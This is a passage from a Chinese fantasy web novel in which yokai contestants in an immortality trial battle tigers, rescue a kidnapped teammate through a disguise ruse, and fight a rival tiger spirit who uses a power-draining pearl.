万情贞扒拉着洞口不敢出去，只静心听着外头的动静，时不时探出一个脑袋看看月亮有没有出来，或是幽暗之中会不会突然冒出一双发光的眼睛，正是他们要找的老虎。
谢珍珠打了个哈欠：“万情贞，外面有没有什么动静？”
万情贞小心摇摇脑袋：“什么动静都没有。”
胡和烈有些酸胀的脖子：“月亮出来了？”
“天已经黑透了，肯定出来了，不过我们这边瞧不见啊。”
“看来让老虎来找我们是不大可能了，”叶米站起来活动活动松松筋骨，“走吧，出去找。”
谢珍珠却说：“我们一起出去，老虎会不会见到了也不敢来？就像那些鳄鱼，说不定他们就是觉得叶米和胡大哥的轻功了得、法力定也不差，所以才不出来呢？”
她说得到有道理，万情贞就忽地想到什么，额角的青筋突突：“喂，你什么意思，我下午的时候才九死一生呢！”
谢珍珠就说：“好嘛，那这次我去就是了。”
胡和烈：“你俩一起去也没差。”
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>二妖：……
最后还是决定让谢珍珠去了，胡和烈化作原形停在她的肩上随身保护，叶米和书灵则偷摸跟在后头，藏着身形。
谢珍珠心中确实没有多少害怕，毕竟胡大哥就在她肩头停着呢，区区一只老虎算什么？她脚步轻快地在山边上的小林子里散步，甚至还哼起歌来，虎头蜂吐槽她有一种不怕死的轻松自在。
谢珍珠笑嘻嘻地用传心术回复他：“胡大哥，那条河里有这么多的鲨鱼你和叶米都轻轻松松解决了，一只老虎有什么好怕的呢？嘿嘿，再说了，我也不是手无缚鸡之力的凡人。”
胡和烈笑了声：“你倒是胆子变大不少。”
“还好啦……”
簌簌。
说话声戛然而止，谢珍珠脚步一顿，这清脆隐蔽的声音并未躲过她的耳朵，虽然嘴上说着不害怕，但真的要面临危险时，心头一紧、身子一僵对她来说似乎是一种条件反射。
螃蟹精的眼珠子在周边的树木和灌木丛上转了个来回，第一回有些控制不住的慌张，所以一闪而过的视线并未定焦在那双藏在灌木丛中发光的眼睛上，等反应过来时定睛要看，却见黑绿之中冒出了数不清的亮点，像是一夜之间万树开花一般，叫人惊心。
她听见胡和烈在耳边的声音，有些不妙的烦躁感：“啧，这么多只？！”
谢珍珠往后退了一步，心里告诉自己不要慌张。可她侧过头往后一瞧，发现后头的黑暗中也是一片亮点。
……到底有多少只啊！
胡和烈：“别动。”
螃蟹精便僵在原地。
簌簌。
她不动，那些老虎可忍不了，只见一只粗厚的爪子穿破树叶无声地落在了地面上，一爪一爪地迈出来，带出一只神情冷漠的老虎，肩高快到螃蟹精的胸前，脑袋有她两个大，瞧着便让人心生俱意。
更何况这样的老虎还有好多只。
谢珍珠这下是感受到当初万情贞惨叫中的害怕了。
“嗷呜——”
这一声如同一声令下，隐藏起来的老虎们纷纷一跃而出，与此同时，虎头蜂挥着螫针闪现而出，绕着谢珍珠舞了一圈，暂且逼退了它们几步。
一只猫不知从那棵树上跳了下来，落地幻化出人形，叶米的竖瞳与无数只虎目对视而过，平静道：“有真有假。”
“这些老虎？”
“嗯。”
胡和烈最烦搞这种真假妖怪的戏码，干脆道：“管它真假，全杀了就是。”
叶米叹了口气：“我的意思，不能让真的趁机跑了。你去殿后。”
“……哦。”
一开始，这些老虎并没有逃跑的心思，一只只前仆后继地飞扑而来，尖的牙利的爪，两眼闪着的凌厉光芒有血腥的兴奋。
可没过多久，在看着冲在前方的兄弟们一只只地被那只猫妖断头切尾、一招毙命，双目失神地倒在地上，转眼间肉身消失不见、只留下一摊血迹之后，开始有老虎生了警惕和害怕之心，打算逃跑了。
105. 第 105 章
叶米想到元善老祖的话：琥珀之目乃是老虎刚死时，头部枕卧之处两尺深处的宝物，由老虎的目光沉默入地而形成……
看来这些死后就消失的都不是真老虎，起码不是他们要找的老虎。
她一抬眼，发现有许多老虎再往后撤，好在有胡和烈拦着，就连谢珍珠和万情贞也一边惨叫一边乱七八糟地挡着不让它们跑。
叶米决定速战速决，先是帮螃蟹精和书灵那边解决了一批，再回头帮胡和烈，过程中自己也受了一些伤，毕竟有些累了，再加上总有防不胜防的时候，好在没过多久，最后还是打死了那只真老虎。
虎头落地的一瞬发出截然不同的“砰”的沉闷声音，叶米杀了就扔，本是不在意这只的，但这声猛地把有些杀昏了头的猫的神经拉了回来。
她回头一看，所有还活着的老虎正在化作烟气消失不见，沉闷的低吼声戛然而止，原本热闹的战场变得好安静，众妖呼吸一窒，左右看看，只剩下一只倒在地上的老虎尸体。
万情贞和谢珍珠累得直接瘫坐在地上，神情茫然中带着解脱，胡和烈也把螫针一收，蹲在树边喘气。
叶米也长长地舒了口气，剧烈运动后的心脏跳得激烈，安静下来之后，才发现似有似无的疼痛在四肢上生根发芽，偶尔一动弹便会有酸胀感。她来不及歇息，只缓了缓神，走到老虎头部，将虎头往边上推了推，挪出一道痕迹。
两尺并不深，但对于有些力竭的叶米来说，实在觉得麻烦。她也懒得再找什么工具，伸出爪子来就开始刨，谢珍珠和胡和烈也走过来，在边上帮忙。
刨着刨着，深色的土地里蓦地迸发出几道细弱的光线来，猫爪一顿，改刨为扒拉，很快就找到了一颗琥珀色的石头，在夜色中发着淡淡的、冷冽的光。
谢珍珠心下一松，脸上笑开：“终于……找到了。”
胡和烈凑过脑袋来看：“这就是琥珀之目？瞧着很普通啊，你可要收好了。”
叶米自然不用他多说，转眼就收了起来，拍拍手上的泥巴，想着赶紧回去洗个手什么的：“走吧，回去休息。”
“哈——”谢珍珠打了个哈欠，“太困了，太累了，赶紧回去吧！往哪走来着……嗯？万情贞呢？”
“万情贞？”她张望着左右看了看，明明记得刚刚万情贞就在自己边上坐着，累得话都说不完整，怎么这会儿就不见了踪影，“奇怪……以他胆小的性子，怎么可能独自离开我们……”
叶米刚刚专注着刨土了，便问胡和烈：“你看见没？”
胡和烈摇摇头：“不应该啊，他怎么可能一声不吭就……难道是被其他妖精趁我们不备时拐走了？”
谢珍珠：“反正不是被老虎吃了。”
那看来只有这么回事了。
大家沉默了一会，螃蟹精这么推测：“我们本来觉得老虎的数量是有限的，但没想到如此难对付，我们都这么累了，其他组想来是非常难的……所以，会不会，他们绑架万情贞是为了……”
琥珀之目。
“很有道理，”叶米叹了口气，“走吧。”
“去哪啊？
“既然他们是为了琥珀之目，那便不会对万情贞做什么，甚至还得自己送上门来。”叶米跨过老虎的脑袋，“我们只要回去等就好了。”
谢珍珠和胡和烈对视一眼，也没有更好的想法，便跟在猫后头往驻所走。
刚走到洞口要进去，一阵风来，叶米抬手用手指夹住了一片树叶，一挑眉：“飞叶术。”
那片叶子化作光点消失，留下一道声音：“叶米，想要救回你的组员，就在明早卯初让谢珍珠一妖拿琥珀之目来那只老虎尸体处换，不然我就杀了他。”
“是王生威的声音！”谢珍珠气急败坏道，“他疯了，怎么敢随便杀妖？”
“拿不到琥珀之目他们也会淘汰，”胡和烈面上有不屑，“到时候杀了万情贞也没影响。他们老虎本就有吃人的恶习，虎妖族的情况虽还好，但每年都能听到他们杀了谁吃了谁的小道消息……大家都见怪不怪了。”
他说这些的意思就是，王生威说杀了万情贞不是单纯地吓唬他们。
“不至于吧……”谢珍珠已经开始愁眉苦脸了，“师父他们都看着呢，万情贞还是月老的姻缘簿，师父他们不可能这样放任不管。”
胡和烈看向叶米：“你怎么看？”
叶米看了下自己的手，脏兮兮的，她搓了搓手指上的泥土：“受不了了，我先去洗漱。”
胡和烈：……
她一妖先去河边洗洗刷刷，谢珍珠坐在洞口，一边吃果子一边愁眉不展，胡和烈站在她边上，看着河的方向，也是忧愁：“叶米不可能不管万情贞。”
“我知道。”谢珍珠胳膊肘搭在膝盖上，双手撑着脸，叹了口气道，：“所以我正在担心明早怎么去和王生威他们周旋呢……胡大哥，我这不是螃蟹入虎口吗？我比羊还小只，都不够他们塞牙缝的。”
胡和烈被她说得一笑，很快又严肃道：“问题是我们现在不清楚对面的情况，他们定是集结了不少妖精，不然不敢这么大胆。”
“有很多妖为什么不自己去打老虎？”
“妖多有什么用，他们各怀鬼胎。谁都清楚，在解决了叶米之后，就是他们的自相残杀……”胡和烈抱着胸，靠在洞壁上，“打老虎定会有妖受伤，谁也不敢用尽全力，只想让别的妖出力……所以打老虎不划算。”
“啊！”谢珍珠明白过来，“难怪他们要提早半个时辰让我们交出琥珀之目，不怕出变故，是因为他们内部还要决斗……”
胡和烈点点头，这时候看到叶米洗漱完清清爽爽地走过来，脸色还挺放松呢，心里又无语又好笑：“你舒服了？想到办法没？”
叶米掏出一个果子吃：“需要什么办法？办法不就那么一个办法。”
胡和烈有不好的预感：“……什么办法？”
“把他们都解决了不就了事了。”
“你说的轻松。”他就知道她这么简单
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粗暴，“我们都不知道王生威那里有多少妖，贸然闯……”
说到这，他注意到叶米看他的眼神，猫眼弯弯，是不怀好意的笑眯眯：“你、你想干嘛……你想让我过去看看情况？”
叶米理所当然道：“你的原形这么小还会飞，过去看看情况再适合不过了。弄清楚他们的算盘，到时候方便我一窝端了。”
是这么个道理的，但是：“我连他们在哪都不知道！”
叶米宽慰他：“无碍，你这不还有一个晚上的时间？”
胡和烈：？？？
“什么叫我，那你呢？你不去找？”
“我得好好打坐修炼，杀老虎费了太多灵力，明早还有一战，这不得好好恢复一下？”叶米都打算好了，朝谢珍珠抬了抬下巴，“谢珍珠也得留下来帮我看守，所以只有你能去。”
胡和烈控诉道：“……刚刚打老虎的时候难道我是在边上看戏的？我也打了许多只，很累的好不好……”
谢珍珠嘿嘿一声，连忙说：“胡大哥的辛苦我们都看在眼里的，不过叶米说的有道理，目前没有更好的办法了。胡大哥，只好委屈你再熬一个晚上……”
胡和烈哼哼一声：“这事也只有我办得了。”
叶米：“对，对，非你不可。就是我也不好办。”
这下给虎头蜂听舒服了，转眼就变成了原形，展翅飞去。
叶米朝谢珍珠道：“吃饱没？”
谢珍珠有些食不知味，但刚刚发呆时，不知不觉就吃了许多果子，这会感受一下，还真的挺饱了：“吃饱了！”
“好，今晚要麻烦你守夜了。”
“不麻烦，”谢珍珠朝猫嘿嘿一笑，“我现在觉得我也是很有用的，虽然做不到英勇杀敌、冲锋陷阵，但能给你和胡大哥提供方便也是不错的。”
叶米点点头道：“是，每只妖都有用。”
她也是前不久才明白。
*
这座岛屿有多大，胡和烈其实并不知道，他先前飞到空中看时，几眼也便看尽了，心里就有了个大概。不过看尽是一回事，大晚上的变成小虎头蜂找妖就是另一回事了。
他也不知道自己找了多久，累的时候就停下来歇一歇，据他的分析，王生威等妖的据地应该不会离他们打老虎的地方太远才是，但以老虎的尸体为起点绕圈找了半天，圈越绕越大，依旧没见到一只妖影。
奇了怪了……
他百思不得其解地停在一颗果子上，打了个哈欠，估摸着现在是什么时候了，又想这里也不过是些树啊山啊洞的，王生威那些人应该聚集在一起，很明显才是，可还是他几乎每个山洞都……
等等。
他低下头去，看见铺着碎叶的地，忽然想到他们刚来的时候，不慎入地下的洞中，难道……
胡和烈扇扇翅膀降落下去，紧贴着地面嗅嗅味道，静心听土地之下的声音，穿过滴水流淌、脆叶咔嚓，以及泥土间隙间传来的空荡回声，他终于听见了几句话语。
106. 第 106 章
“哈……”
谢珍珠好困，她扭头看了看叶米，对方正襟危坐着，闭着眼睛面色平静，眉宇之间并没有皱着，却有一股肃穆的气，周身萦绕着淡淡的灵力，仿佛形成了一道法术屏障，将她隔离了世间。
螃蟹精又看向外头，夜色漆黑，其实什么都瞧不见，但她就这么发呆地双目发直，一时也没了瞌睡的念头，脑子里一会儿演练着明早的故事发展，一会儿闪现这一路走来的种种情景，一幕幕都无法深思，却似有感触。
明天会怎么样？
虽说有叶米和胡大哥在，胜率很大，但是……螃蟹精心中总有隐隐的不安，也许因为她不是拥有强劲实力的妖，所以即使同伴厉害，她也难免不踏实，不然为何瞧着叶米总是很淡定的模样。
……或者其实和实力无关，只是性格原因？
谢珍珠胡思乱想着，忽地听见耳边有“嗡嗡”的声音，她一个激灵，就瞧见胡和烈在边上化作人形：“胡大哥，你回来了！”
胡和烈“嗯”了一声，转头看叶米：“她还要多久？”
“不知道……你找到王生威他们了吗？”
“找是找到了，”胡和烈吸一口气叹出，“不过有点麻烦。”
胡和烈都说麻烦？谢珍珠心头一跳：“怎么说？”
胡和烈摇摇头，坐在洞口抓了两个果子吃：“等叶米醒了再说。”
“要不你先你和我说吧。”谢珍珠哭丧着脸，“我得先做好心理准备。”
胡和烈挑了下眉瞥她一眼，摇摇脑袋：“你用不着操心。”
“啊？”
天蒙蒙亮、离约定的时间只剩下半个时辰不到时，叶米才醒来。她的面色瞧着有些疲惫，猫眼下挂着两个黑眼圈，昨天其实就有了，不过今日更明显一些。没有才怪了，毕竟已经有三个晚上没睡好觉。
她醒来时瞧见胡和烈和谢珍珠在洞口阖眼睡觉，想来他们也是太困了忍不，便去把二妖叫醒。
胡和烈打着哈欠醒来：“什么时辰了？”
“寅正过点。”叶米道，“他们在哪？”
“别着急，”胡和烈没睡多久，又打了个哈欠，“听我说。”
谢珍珠抹抹打哈欠打出来的眼泪，挪过来一起听。
“还记得我们上岛时，树林里那些地洞吗？”
叶米经他这么说才想起来，但也没诧异：“你是说他们都在那地洞里？”
谢珍珠一愣：“那些地洞也不大的……”
“本来是不大的，”胡和烈摊手，“现在他们把地洞打通了，我昨晚溜进去逛了一下，错综复杂，互相交错，差点没走出来。而且里头的妖还不少，光我瞧见的就有三四十只吧。”
“这么多？”谢珍珠讶然，“不会除了我们之外的所有妖都在一起了吧？”
胡和烈没回答她，而是看向叶米道：“昨日我们不是一路走过去解决了好几组？我听见他们说到了这事，话里的意思就是觉得落单的很快就会被我们淘汰，所以先前不乐意联手的也同意了。”
谢珍珠：……
她真是不知道说什么，毕竟换位思考一下，自己大概也是会这么做的：“那现在是……我们三只妖得对付……四十只妖？我，唉……”
叶米摸着下巴思索了一下：“你看见万情贞了吗？”
胡和烈摇摇头，眉头一皱：“而且听说王生威从谁哪里搜刮了个宝贝，具体是什么不清楚，反正听说他现在是挺猖狂自信的。”
谢珍珠两眼一晕：“啊……我们又不知道万情贞在哪，还连这宝贝的用途都不知道，岂不是很被动？”
胡和烈抿着唇沉默。
“走吧，”这时候猫站了起来，语气轻松地像是下了一个简单的决定，“既然什么都不知情，那也不用再多虑了，直接上就完事，淘汰一个是一个。”
胡和烈看看谢珍珠，又指指自己和猫：“他们淘汰一个是一个，我们淘汰一个就不剩了！不如这样，我们带着万情贞先走，等他们拿到琥珀之目内斗之后再坐享渔翁之利……”
谢珍珠撇嘴：“他们怎么可能想不到这一层，我觉着虽说是让我一只妖去送琥珀之目，但他们的注意力一定都在叶米身上，知道叶米就在附近，不会这么轻易让叶米走的……说不准我还会变成妖质呢。”
这个担忧确实挺必要的。
叶米拍拍谢珍珠的肩膀，语气还算安慰：“你只管保护好自己的命，接下来交给我和胡和烈，我们组要赢，至少要活一个。你放心，我有安排。”
谢珍珠的心被她拍得一抖：“什、什么安排……”
*
“唔唔唔唔唔唔！”
王生威命小弟们把地上的老虎尸体挪到一边去，往后一招手，有妖就扛着被五花大绑成蚕蛹的万情贞过来了，一弯腰把他扔到了地上，正是那只老虎先前躺着的位置，地面上还有干涸的血迹。
万情贞蠕动蠕动，骂骂咧咧：“唔唔唔唔！”
小弟A踹了他一脚：“闭嘴，不然有你受的！”
万情贞：TAT
他还真没受过这样的委屈呢，实在是太屈辱了！这些人简直不要脸、不道德，不知羞耻，竟然用这么下三滥的手段想让他们淘汰出局！实在是、实在是……
万情贞呜呜呜呜，气得要命的同时又懊恼自己太没用了，先前的没用只是给猫大人他们拖后腿，但现在的没用真是害了他们啊。
要不然凭着猫大人的本领，淘汰这些坏妖们不过是时间长短的事……
“老大，时间快到了。”
王生威也知道，正伸着脖子往远处看呢，这时一只松鼠从树上跳过来，语气有些紧张道：“老大，谢珍珠来了！叶米和胡和烈远远跟在后头呢。”
“早料到他俩也会跟着，哼。”这是所有妖都想到的事，但听王生威的语气还有觉得自己聪明的意思呢，“负责抄后埋伏的那组准备好了？”
松鼠：“准备好了！”
王
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生威点点头，这时候谢珍珠已经走近了，他瞅了眼万情贞，把这只蚕蛹拎了起来，作为原形是老虎的妖，化作人形之后他的身形也是格外高大的，近七尺的身量，宽厚粗大的臂膀，往妖群之中一放最显眼，不是老大也胜似老大。
万情贞被他拎在手里，就像一只小鸡仔。两眼一睁看见走过来的谢珍珠，呜呜呜地说不出心中的苦楚，泪水模糊他的眼，使他瞧不起谢珍珠的表情，不过大概也能想象出来，一定是面色紧张、战战兢兢的。
“谢珍珠，”王生威朝谢珍珠露出并不和善的笑容，“几个月不见，你都变成叶米的走狗了。”
谢珍珠抬眼看她：“我不是狗。”
“哈哈哈哈哈！哈哈哈……”
王生威和他的小弟们笑出声来。
谢珍珠莫名其妙地瞥了这些人一眼，没多说，只把目光落在泪眼婆娑的万情贞身上，轻轻叹了口气：“一手交人，一手交货。”
“行啊，先把琥珀之目拿出来给我们验货。”王生威把手一伸，朝她摇了摇四指，一个示意“拿来”的手势，“不然我怎么知道你们会不会使诈？”
“使诈？呵，”谢珍珠像是听到了什么笑话似的，嘲讽一笑，“论使诈的本领，怎么比得过你们这些以多欺少还不够、甚至绑架了妖质打算陷害我们的一众妖？若我是你们，根本不屑于这不光彩的胜利。”
其他妖一愣，似是没想到被一只螃蟹精这么嘲笑。
王生威咬牙切齿之中有许多不屑：“谢珍珠，你还真是狗仗人势，跟了叶米才多久，就觉得自己能耐了？若不是有叶米和胡和烈在，我一根手指头都能摁死你，哪里用得上阴谋诡计！”
这话听得万情贞好扎心，他瞪了王生威一眼，扭扭身子，只是徒劳无功地反抗，便希冀地看向谢珍珠，希望她是带着办法而来。
谢珍珠被老虎精这么看扁和挖苦，不怒反笑：“我也是见到你们这群畜生才明白，罪恶的强大还不如懦弱的善良。”
小弟A：“你骂谁畜生！？”
小弟B怼怼他，让他稍安勿躁：“废话少说，快把琥珀之目交给我们老大！”
他们畜生老大这会已经气得有点发晕了，主要是被谢珍珠骂，她凭什么？他已经开始想象把这只螃蟹塞嘴里咔嚓咔嚓嚼碎，咬成碎末吐出来再用脚踩到地里去，好让她知道不知好歹的下场！
这美妙的想法很快就能实现了，只要他现在忍住怒火：“谢珍珠，时间到了，琥珀之目在哪？”
谢珍珠瞥了眼万情贞，伸出一只微微握着的手，拳头一开，掌心躺着一颗琥珀色的石头，发出的光润色了她的肌肤。
周遭的妖们躁动起来，传来窸窸窣窣的声音，王生威的眼睛也瞪大了，伸手就要去拿，却见那只手又缩了回去，谢珍珠朝万情贞抬了抬下巴。
王生威挑起一边的眉毛，侧过脸给边上的小弟使了个眼色，小弟A得到指示点点头，先是把万情贞横着放到在地上，然后推了过去。
107. 第 107 章
万情贞像轮子似的在地上滚了几下，就到了谢珍珠的脚边，“唔唔唔”的似乎想说什么，可谢珍珠只是低头看了看自己可怜的同伴，心里也不知道什么心情，很快又抬起眼看向迫不及待的王生威，将琥珀之目递给他。
王生威露出一个笑容，两只虎牙在嘴里格外明显。他右手伸过去就要琥珀之目的时候，谢珍珠听见背后传来有人从树上跳下来的声音，离她很近。
见她面不改色、无动于衷，王生威感受着触碰到琥珀之目的冰冷，忍不住低沉地恶狠狠道：“谢珍珠，既然你来了，就不能让你这么简单地走。”
“既然我来了。”谢珍珠一把抓住他拿着琥珀之目那只手的手腕，声线格外冰冷，“就不会这么简单地走。”
王生威一愣。
下一秒，他感到一股强劲的力从自己的手腕上而起，眼前的世界忽地天旋地转，一时瞧不清楚画面，脑子也懵了片刻，直到一股遍体的疼痛唤回了他神智，老虎精听到底下传来许多喊疼的呻吟声，低头一看，自己压到了几个小弟。
怎么回事？
底下有人痛苦的喊：“老大，她不是谢珍珠！”
叶米拎着蚕蛹跳到树上，手一划就给他解了绑，与此同时看见了不远处胡和烈已经和那些人打起来了，便留下一句“躲好”，闪身又跳了下去。
万情贞早就发现“谢珍珠”的真实身份，毕竟话说到后边，猫就没打算藏，语调语气非常明显，也就是王生威他们和她不熟，再加上猫妖法术高强，这才没被认出来。
他被这么绑了一个晚上，背后还绑着一把伞，真的是难受得不行了，解脱之后只感觉浑身的骨头又痒又酸，小幅度地活动了一下，躲在树里小心地看下边的情况。其实不小心也行，现在大家都在对付叶米，他是0妖在意。
下边情况有些复杂，有人打叶米，这是好理解的；还有人再打王生威，因为他手里有琥珀之目，估计他们是打算抢了琥珀之目就赶紧逃，熬过卯正就行。
王生威和他同组的小弟们似乎很意外其他组妖的背刺，嘴里骂骂咧咧的：“说好的解决了叶米再打，你们不守信用！”
混战之中有妖喊道：“琥珀之目就在你手上，谁知道到时你会不会守信用、让我们公平竞争！”
“是啊是啊，再说你的妖法仅次于胡和烈，我们打你也是不好打的，要是叶米淘汰了这么多妖之后自己也淘汰了，那你岂不是能坐收渔翁之利！”
“你看起来就是会做这样的事！”
甚至有人说：“就是，让你赢还不如让叶米赢，起码她的实力大家有目共睹，她赢了我心服口服！”
王生威听得气急败坏、脑壳冒烟，嗷嗷怒吼道：“你们敬酒不吃吃罚酒，看我把你们都撕了！”
局面就此变得有趣，主要分为三批，先是攻击胡和烈的一小批，再是针对王生威的一批，最后是围殴叶米的一大批。一时间，这窄小的林中小道变得热闹起来，树叶乱飞，风不自来。
万情贞见胡和烈那边有谢珍珠帮忙，便守着叶米。他知道自己法力低微，要是贸然下去估计只是拖后腿，便藏在树叶之中用小小的灵力使诈：比如给某妖使绊子让他摔倒，或是给某妖膝盖一击让他跪下，再或是打歪某妖的手腕让他失去准头攻击队友……
不说有很大作用，但确实方便了一些。
在场能和猫打个来回的只有胡和烈跟王生威，这两妖如今各有各的忙，其他妖的法力和叶米相比虽完全不够看，但此时此刻叶米也是很为难的。毕竟他们人数多是一回事，她还得掌控一下分寸。
首先不能把他们打死了，其次还要让他们失去行动能力或是疼到不行主动投降，这确实为难她。再看隔壁的两个，王生威下手没轻没重，他是不在意的；胡和烈就更简单，只要被他的螫针刺中，那基本可以找个好躺的地方等晕了。
与此同时，不知在何处的某一间屋子中，元善老祖摸着胡须，乐呵呵地看着时转镜中转播的画面：“好混乱啊，哈哈。”
树法祖师坐在桌边，慢悠悠地给自己倒了杯茶，缥缈的热气从琉璃茶盏中飞起：“瞧着混乱，结局是明朗的。”
元善老祖微微颔首：“他们这么多妖，只找到一颗琥珀之目，看来今年的成仙考核不久便要尘埃落定了。”
“现在琥珀之目在谁手中？”
元善老祖白眉一挑：“王生威。”
王生威这会正焦头烂额呢，虽说他还有两个小弟帮忙，但以一敌多太让他心力交瘁，法术不能停之外，还要集中精神注意，免得被人偷袭。小弟A这会还问他：“老大，你不是说有个宝贝，现在不用更待何时啊！”
“你懂什么！用不着你操心，专心应敌！”王生威不耐解释。
他夹缝间看了眼叶米，发现她简直是游刃有余，动作利落干净，步步到位，面色也毫不慌张。应对那些小妖精，她寥寥几招便够了，要不是围攻她的妖实在太多，她又不好放大招把妖打死，估计这会早完事了。
“老大小心——啊！”
这么一会走神的功夫，他差点被打中，好在松鼠精在前头给他挡了一下，这下他不敢三心二意了，专心对付起面前的妖来，不过下手更狠厉了些。
不知过了多久，混战总是让人搞不清楚时间流逝，直到地上躺了一堆呻吟的可怜妖精，空中忽然降下许多白光来，一道道落在他们身上，妖精们像提线木偶一般站了起来，排着队离开。
叶米将背靠在一棵树上，深深地呼气吐气，真是身心俱疲了。好在情况没她想得那么糟，起码王生威也被消耗了许多灵力……她抬眼看向前侧方的树，书灵见她看来，使劲眨了几下眼睛。
叶米没什么反应，转头一看，胡和烈正朝她走来，路过王生威时，他和他的小弟都有许多警觉，不过无事发生。
走得近了，叶
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米问：“谢珍珠呢？”
胡和烈也不知是没生气的力气了还是什么，很平静道：“淘汰了。”
叶米点点头：“没死就行。”
胡和烈朝王生威那边抬了抬下巴，放大声音道：“你们只剩两妖，有点脑子都知道打不过我和叶米。不如趁早交出琥珀之目，乖乖投降，好省去皮肉之苦。”
“哼！”王生威龇了龇牙，“你倒是有自信，时间还没到，还不一定谁笑到最后。”
胡和烈鄙夷的目光看看他边上那只鬣狗精，脑袋上长着一撮滑稽的黄毛，瘦不拉几灰头土脸的，再看看王生威，身上的衣衫在刚刚的混战中被搞得乱七八糟，脸上也添了两道伤疤，实在是狼狈。
他好笑道：“瞅你们二妖这副模样，我没自信也不行啊。”
对边二妖：……
“你别太张狂！”鬣狗精龇牙咧嘴道，“我们老大还有宝贝没派上用场！”
“哦？”胡和烈和叶米对了个眼神，“什么宝贝？这都要淘汰了，还不拿出现现眼？怕只是个幌子吧？”
这么几句话的功夫，叶米也休息够了，把背从树上移开，她朝王生威勾了勾手指头，姿态实在有些挑衅的：“交出琥珀之目，我尽量不让你输得太难看。”
真是大发善心的保证了。
可惜老虎精并不领情，他恶狠狠的目光从胡和烈转到叶米身上，一字一句尽是不满和欺辱：“想我们老虎精一族，生来便是英明神武、霸王气质，走到哪里不是众星捧月的存在？偏偏在万妖堂这几年，被一只臭猫和扑棱蛾子夺尽了风头！我这心里，实在是不快活得很！”
叶米听他这“屈辱的心声”，越听越无语，翻白眼道：“你说的是动物世界的故事，多大的妖了脑子还不清醒，妖族和寻常动物能一样？”
扑棱蛾子本来应该对自己的外号生气的，但无奈老虎精前边说得太可笑，他忍不住哈哈大笑起来：“不是，我第一次听别人说自己有霸王气质哈哈哈哈哈！几个小妖叫你老大，你还真把自己霸王了？哈哈哈哈！”
王生威：……
叶米见他脸上的怒火愈甚，扯了下嘴角，皮笑肉不笑道：“我承认，老虎精确实比猫妖更有优势，由此前提，你居然还能被我夺了风头，这不正好说明……你实在是个废物吗？”
虎头蜂：“没错没错。”
树上的万情贞：没错没错！
王生威：……
鬣狗精小心翼翼地碰碰废物老大：“老大，你、你没事吧？”
王生威要气死了，说也说不过人家，毕竟他们说得真有道理啊，他确实仗着自己的种族天赋并没有认真修习来着，所以这时候的怒火是恼羞成怒。老虎精明白，事到如今，最好的抢回面子的办法就是赢了这只臭猫和扑棱蛾子。
他怒极反笑了一声，手中黄光一闪，忽地变出了一颗神似夜明珠的透明球体，正发着莹莹的光。
108. 第 108 章
那是什么？
叶米看向胡和烈，后者微皱着眉头小幅度摇了摇脑袋，表示自己也不知道。树上的万情贞扒开眼前的树叶，眯起眼使劲儿去瞧那颗珠子，总觉得有些眼熟，脑海里似有答案一闪而过，可他没捉住。
……长得像夜明珠的宝物都有什么？
还不等他回想起来，王生威忽地把珠子往空中一抛，往里头注入灵力，甚至大喊一声：“聚灵珠！”
聚灵……珠？
死去的记忆猛然复苏，万情贞一回神，连忙大喊道：“猫大人，快阻止他！”
叶米耳朵一动，正想出手，但已经来不及了。只见聚灵珠的光芒忽然放大，白黄色的光线照耀着下方四妖的脸。
万情贞暗道不妙，连忙往树叶里缩了缩，但见身上还是会照到光线，立刻变成了原形，书藏在茂叶之中，被遮得严严实实。
叶米感到一股不受控制的脱力感，头脑空白了一瞬，再有意识的时候，只见眼前的画面大有改变，她的视线低了许多，抬手一看，果真瞧见一只猫爪。猫试图变回人形，这才发现自己连灵力都消失了。
她仰起脑袋看了看那颗悬浮在空中的珠子，心中已然明白是怎么回事。
把头低一点，就可以看见那只对现在的她来说无比高大的老虎，还有边上那被老虎衬托着有些瘦弱的鬣狗。余光似乎还有什么在飞来飞去，她不用想也知道是扑棱蛾子。
事到如今，叶米心中倒没有多大的愤怒，更多的是可笑，不知道还能不能说话，她开口试了试：“你还真是下贱。”
虎头蜂气急败坏，嗡嗡不停：“王生威，你这样有什么意思，用如此不入流的手段赢了，你也是名不副实！”
“屁个名不副实！”老虎怒吼一声，“我是老虎，是兽中之王，我得到成仙之位才是实至名归！你们两个，一个是无父无母的流浪猫，一个是还没我鼻屎大的蛾子，哪里有我有资格！”
他边上的鬣狗嘎嘎笑道：“嘎嘎嘎嘎！老大，你看叶米和胡和烈现在，哪里还有平时威风凛凛的模样！你一只虎爪就能把他们摁死！”
“哈哈哈哈！”老虎用前爪在地上刨了刨土，似乎蓄势待发：“成仙考核是时候结束了！”
那只凶猛的老虎和阴险的鬣狗飞似地扑来，一只去抓猫，一只去抓虎头蜂。猫和虎头蜂不好迎面直击，只好先逃窜。
虎头蜂躲过鬣狗的一爪，冲猫喊道：“叶米，快想办法！”
猫一个急速拐弯躲过老虎，也很无奈：“见机行事。”
“你们没有机会了！”老虎猖狂大笑，“聚灵珠的时效有一个时辰，到时候考核早就结束了，琥珀之目在我手中，你们输定了哈哈哈哈！叶米，趁现在投降，愿赌服输，我还可以饶你免受皮肉之苦！哈哈哈哈哈！”
鬣狗在边上应和：“还要在万妖堂所有妖面前说你输给了老大，心服口服！”
老虎追着猫的尾巴：“哈哈哈对，这个主意好！”
“想得真美。”
叶米冷哼一声，抓着前方的树木几步爬上了树，一踮后脚来了一个空中后空翻，直接跳到了老虎屁股上，狠狠挥下一爪——
“嗷呜！”
老虎屁股猛烈地甩了起来，但叶米哪会这么容易被它甩开，锋利的爪子死死地穿透的虎皮抓住了虎肉，怎么也不肯放松，血液哗啦流满了她的爪子。
“嗷！！贱猫，你找死！”老虎疼的要命，但怎么甩屁股都没用，连忙请求救援，“鬣狗，还不快来帮我！”
“老大来了！”追虎头蜂追得头晕的鬣狗连忙一转方向，就朝叶米而来，“嘎嘎嘎！受死吧！”
叶米也不傻，当然会跑了，眼见那鬣狗一爪子挥下来，连忙松爪往老虎头上抛，那鬣狗来不及停手，这一爪又是他老大挨着了：“嗷！废物，你睁大眼睛看清楚你抓的谁！！”
叶米来到虎头上，看见老虎因为疼痛而闭上的眼睛，心中冷笑一声，挥爪而下，正巧睁开眼珠子，就瞧见一颗倒着的猫头，还有即将要到他眼珠子上的爪子——老虎怒吼一声直接应激，猛然一甩头，头上的猫猝不及防就被甩飞了。
被甩的力度过大猫无法控制，不巧的是边上就有一棵树，她连在空中反应的时间都没有，直接“砰”的被甩到了树上，缓缓地滑了下来。
疼的感觉还没来，只是四肢已经难以动弹，这对灵巧的猫来说非常难受。
